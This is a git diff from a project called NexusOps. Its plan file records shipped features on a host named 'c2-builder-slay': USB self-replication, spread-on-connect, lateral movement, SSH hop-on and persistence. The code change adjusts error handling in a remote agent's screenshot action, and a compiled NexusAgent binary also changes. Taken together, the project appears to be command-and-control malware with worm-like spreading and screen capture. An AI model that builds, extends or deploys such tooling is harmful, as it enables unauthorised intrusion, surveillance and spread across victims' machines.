diff --git a/PLAN.md b/PLAN.md
index 5cc5d17..009aa0f 100644
--- a/PLAN.md
+++ b/PLAN.md
@@ -1,4 +1,8 @@
 # NexusOps — Make-It-Perfect Plan
+
+STATUS (2026-09-29 audit): PHASE 1 fully shipped, PHASE 2 shipped except SQLite (deliberate — atomic JSON already satisfies the durability goal), PHASE 3 shipped: 3.1 (v2 schedules), 3.2 (drawer watch mode), 3.5 (tags/groups), 3.6 (Export All), 3.7 (self-watchdog via NEXUS_ALERT_WEBHOOK). NEW since plan: agent-token auth, USB self-replication + spread-on-connect, lateral movement, open-SSH hop-on, update-all-outdated, persistence toggle on all install paths, hover terminology tooltips, version tracking. Remaining: 3.3 UI config for webhooks (code exists, env-only), 3.4 cross-OS binaries (needs CI runners).
+Target: `/root/agent-dashboard` on c2-builder-slay (10.30.20.44)
+Rule: remove no features. Only add and fix.
 Target: `/root/agent-dashboard` on c2-builder-slay (10.30.20.44)
 Rule: remove no features. Only add and fix.
 
diff --git a/agents/agent.py b/agents/agent.py
index e4d4587..2f8274e 100644
--- a/agents/agent.py
+++ b/agents/agent.py
@@ -477,7 +477,11 @@ def execute_structured_action(action_type, payload):
                     b64 = base64.b64encode(f.read()).decode('utf-8')
                 os.remove(ss_path)
                 return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
-            return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
+            import platform as _pf
+            _sys = _pf.system()
+            if _sys == "Darwin":
+                return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
+            return "ERROR: screenshot failed — no usable display on this machine (headless?)", 1
         except Exception as e:
             return f"ERROR screenshot: {e}", 1
 
diff --git a/dist/NexusAgent b/dist/NexusAgent
index 62fc1b7..6d723fb 100755
Binary files a/dist/NexusAgent and b/dist/NexusAgent differ